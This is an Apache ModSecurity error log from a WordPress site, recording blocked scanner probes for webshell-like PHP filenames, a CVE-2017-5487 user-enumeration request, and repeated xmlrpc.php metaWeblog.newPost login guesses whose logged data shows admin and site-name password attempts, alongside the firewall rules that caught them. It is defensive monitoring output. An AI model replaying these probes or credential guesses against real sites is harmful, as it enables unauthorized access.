[Sun Mar 01 00:24:52.706194 2026] [:error] [pid 31190:tid 31222] [client 4.241.228.159:2620] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaMW1BfvwGOholYpM1E9JwAAANA"]
[Sun Mar 01 00:24:53.015640 2026] [:error] [pid 30797:tid 30882] [client 4.241.228.159:2849] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaMW1fQmcmSQL-3rvLD4SAAAAEs"]
[Sun Mar 01 00:24:53.277895 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2592] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaMW1Q2UMRAYWtDB23SfBAAAARE"]
[Sun Mar 01 00:24:53.528657 2026] [:error] [pid 53600:tid 53604] [client 4.241.228.159:2581] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaMW1Q2UMRAYWtDB23SfCAAAAQE"]
[Sun Mar 01 00:24:53.780874 2026] [:error] [pid 53600:tid 53622] [client 4.241.228.159:2893] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aaMW1Q2UMRAYWtDB23SfCgAAARM"]
[Sun Mar 01 00:24:54.014615 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2843] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaMW1g2UMRAYWtDB23SfDQAAAQ4"]
[Sun Mar 01 00:24:54.242051 2026] [:error] [pid 53600:tid 53618] [client 4.241.228.159:2586] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaMW1g2UMRAYWtDB23SfDgAAAQ8"]
[Sun Mar 01 00:24:54.495143 2026] [:error] [pid 31190:tid 31224] [client 4.241.228.159:2600] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaMW1hfvwGOholYpM1E9LQAAANI"]
[Sun Mar 01 00:24:54.734303 2026] [:error] [pid 53600:tid 53626] [client 4.241.228.159:2621] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaMW1g2UMRAYWtDB23SfEgAAARc"]
[Sun Mar 01 00:24:54.963860 2026] [:error] [pid 31190:tid 31226] [client 4.241.228.159:2622] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaMW1hfvwGOholYpM1E9LwAAANQ"]
[Sun Mar 01 00:24:55.190973 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2932] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaMW1w2UMRAYWtDB23SfFgAAARU"]
[Sun Mar 01 00:24:55.424407 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2589] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaMW1w2UMRAYWtDB23SfGwAAAQo"]
[Sun Mar 01 00:24:55.674867 2026] [:error] [pid 30795:tid 30827] [client 4.241.228.159:2834] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaMW12uI44IL94Zgti-k3QAAABM"]
[Sun Mar 01 00:25:47.504940 2026] [:error] [pid 53600:tid 53608] [client 20.63.83.162:22669] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aaMXCw2UMRAYWtDB23SgtQAAAQU"]
[Sun Mar 01 00:25:48.330128 2026] [:error] [pid 31190:tid 31208] [client 20.63.83.162:22719] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aaMXDBfvwGOholYpM1E94gAAAMI"]
[Sun Mar 01 00:25:49.163905 2026] [:error] [pid 31190:tid 31209] [client 20.63.83.162:23303] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aaMXDRfvwGOholYpM1E97QAAAMM"]
[Sun Mar 01 00:25:50.013539 2026] [:error] [pid 30798:tid 30912] [client 20.63.83.162:22682] [client 20.63.83.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aaMXDsBkD73gO8wTonY59wAAAI0"]
[Sun Mar 01 00:47:52.730707 2026] [:error] [pid 53600:tid 53606] [client 177.158.127.152:63753] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaMcOA2UMRAYWtDB23TEhwAAAQM"]
[Sun Mar 01 00:49:18.163350 2026] [:error] [pid 7644:tid 7667] [client 177.158.127.152:64503] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMcjvqeDUGmVAHX7VCKoAAAAVU"]
[Sun Mar 01 00:50:40.992957 2026] [:error] [pid 53600:tid 53620] [client 177.158.127.152:65022] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMc4A2UMRAYWtDB23TIlAAAARE"]
[Sun Mar 01 00:50:40.996006 2026] [:error] [pid 53600:tid 53620] [client 177.158.127.152:65022] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments%wppass_d%title0xb87894c2description0xb87894c2mt_keywords0xb87894c2mt_excerpt0xb87894c21"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMc4A2UMRAYWtDB23TIlAAAARE"]
[Sun Mar 01 00:51:54.243215 2026] [:error] [pid 7644:tid 7650] [client 177.158.127.152:65418] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMdKvqeDUGmVAHX7VCObwAAAUQ"]
[Sun Mar 01 00:53:07.588342 2026] [:error] [pid 7644:tid 7647] [client 177.158.127.152:49440] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMdc_qeDUGmVAHX7VCOmAAAAUE"]
[Sun Mar 01 00:54:31.821088 2026] [:error] [pid 31190:tid 31210] [client 177.158.127.152:50095] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMdxxfvwGOholYpM1FczwAAAMQ"]
[Sun Mar 01 00:55:46.536160 2026] [:error] [pid 31190:tid 31226] [client 177.158.127.152:50699] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMeEhfvwGOholYpM1FdxQAAANQ"]
[Sun Mar 01 00:57:18.175901 2026] [:error] [pid 53600:tid 53615] [client 177.158.127.152:51445] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMebg2UMRAYWtDB23TNBgAAAQw"]
[Sun Mar 01 00:57:18.177464 2026] [:error] [pid 53600:tid 53615] [client 177.158.127.152:51445] [client 177.158.127.152] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMebg2UMRAYWtDB23TNBgAAAQw"]
[Sun Mar 01 00:57:18.178801 2026] [:error] [pid 53600:tid 53615] [client 177.158.127.152:51445] [client 177.158.127.152] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMebg2UMRAYWtDB23TNBgAAAQw"]
[Sun Mar 01 00:58:36.026399 2026] [:error] [pid 31190:tid 31218] [client 177.158.127.152:52079] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMevBfvwGOholYpM1FgcQAAAMw"]
[Sun Mar 01 00:59:57.811377 2026] [:error] [pid 30798:tid 30901] [client 177.158.127.152:52826] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMfDcBkD73gO8wTonZQRgAAAII"]
[Sun Mar 01 00:59:57.812949 2026] [:error] [pid 30798:tid 30901] [client 177.158.127.152:52826] [client 177.158.127.152] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMfDcBkD73gO8wTonZQRgAAAII"]
[Sun Mar 01 00:59:57.814224 2026] [:error] [pid 30798:tid 30901] [client 177.158.127.152:52826] [client 177.158.127.152] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMfDcBkD73gO8wTonZQRgAAAII"]
[Sun Mar 01 01:01:22.849491 2026] [:error] [pid 31190:tid 31222] [client 177.158.127.152:53610] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMfYhfvwGOholYpM1FjYgAAANA"]
[Sun Mar 01 01:01:22.854096 2026] [:error] [pid 31190:tid 31222] [client 177.158.127.152:53610] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments_%wppass_d%title0xd312e378description0xd312e378mt_keywords0xd312e378mt_excerpt0xd312e3781"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMfYhfvwGOholYpM1FjYgAAANA"]
[Sun Mar 01 01:02:43.884167 2026] [:error] [pid 31190:tid 31206] [client 177.158.127.152:54393] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMfsxfvwGOholYpM1FkrQAAAMA"]
[Sun Mar 01 01:04:15.043423 2026] [:error] [pid 30798:tid 30908] [client 177.158.127.152:55190] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMgD8BkD73gO8wTonZVAAAAAIk"]
[Sun Mar 01 01:04:15.046597 2026] [:error] [pid 30798:tid 30908] [client 177.158.127.152:55190] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1adminadmin%title0xcad5e8dedescription0xcad5e8demt_keywords0xcad5e8demt_excerpt0xcad5e8de1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMgD8BkD73gO8wTonZVAAAAAIk"]
[Sun Mar 01 01:05:35.436343 2026] [:error] [pid 31190:tid 31216] [client 177.158.127.152:56175] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMgXxfvwGOholYpM1FnRQAAAMo"]
[Sun Mar 01 01:06:55.682063 2026] [:error] [pid 11920:tid 11924] [client 177.158.127.152:57208] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMgryzLNJUKxvBorrCDjgAAAYA"]
[Sun Mar 01 01:08:22.079792 2026] [:error] [pid 11920:tid 11925] [client 177.158.127.152:58286] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMhBizLNJUKxvBorrCF-AAAAYE"]
[Sun Mar 01 01:10:13.077474 2026] [:error] [pid 31190:tid 31230] [client 177.158.127.152:59675] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMhdRfvwGOholYpM1FrSQAAANg"]
[Sun Mar 01 01:10:13.084096 2026] [:error] [pid 31190:tid 31230] [client 177.158.127.152:59675] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments1%wppass_d%title0xdd512c22description0xdd512c22mt_keywords0xdd512c22mt_excerpt0xdd512c221"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMhdRfvwGOholYpM1FrSQAAANg"]
[Sun Mar 01 01:11:42.292976 2026] [:error] [pid 30795:tid 30825] [client 177.158.127.152:60765] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMhzmuI44IL94Zgti-76QAAABE"]
[Sun Mar 01 01:13:05.524897 2026] [:error] [pid 11920:tid 11947] [client 177.158.127.152:61699] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMiISzLNJUKxvBorrCOwwAAAZc"]
[Sun Mar 01 01:13:05.527991 2026] [:error] [pid 11920:tid 11947] [client 177.158.127.152:61699] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments*%wppass_d%title0x01ddafc6description0x01ddafc6mt_keywords0x01ddafc6mt_excerpt0x01ddafc61"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMiISzLNJUKxvBorrCOwwAAAZc"]
[Sun Mar 01 01:14:24.098490 2026] [:error] [pid 30798:tid 30909] [client 177.158.127.152:62605] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMicMBkD73gO8wTonZhmAAAAIo"]
[Sun Mar 01 01:15:45.023218 2026] [:error] [pid 30798:tid 30923] [client 177.158.127.152:63588] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMiwcBkD73gO8wTonZiwAAAAJc"]
[Sun Mar 01 01:16:59.102904 2026] [:error] [pid 11920:tid 11924] [client 177.158.127.152:64590] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMjCyzLNJUKxvBorrCTyAAAAYA"]
[Sun Mar 01 01:18:30.266664 2026] [:error] [pid 7644:tid 7654] [client 177.158.127.152:49440] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMjZvqeDUGmVAHX7VCXpwAAAUg"]
[Sun Mar 01 01:18:30.269985 2026] [:error] [pid 7644:tid 7654] [client 177.158.127.152:49440] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments%wppass_d%title0xe2f0548cdescription0xe2f0548cmt_keywords0xe2f0548cmt_excerpt0xe2f0548c1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMjZvqeDUGmVAHX7VCXpwAAAUg"]
[Sun Mar 01 01:19:45.342690 2026] [:error] [pid 31190:tid 31221] [client 177.158.127.152:50546] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMjsRfvwGOholYpM1FwBQAAAM8"]
[Sun Mar 01 01:21:00.917951 2026] [:error] [pid 7644:tid 7667] [client 177.158.127.152:51674] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMj_PqeDUGmVAHX7VCYmgAAAVU"]
[Sun Mar 01 01:22:10.299241 2026] [:error] [pid 31190:tid 31215] [client 177.158.127.152:52695] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMkQhfvwGOholYpM1FxrgAAAMk"]
[Sun Mar 01 01:23:19.085656 2026] [:error] [pid 30798:tid 30905] [client 177.158.127.152:53636] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMkh8BkD73gO8wTonZobQAAAIY"]
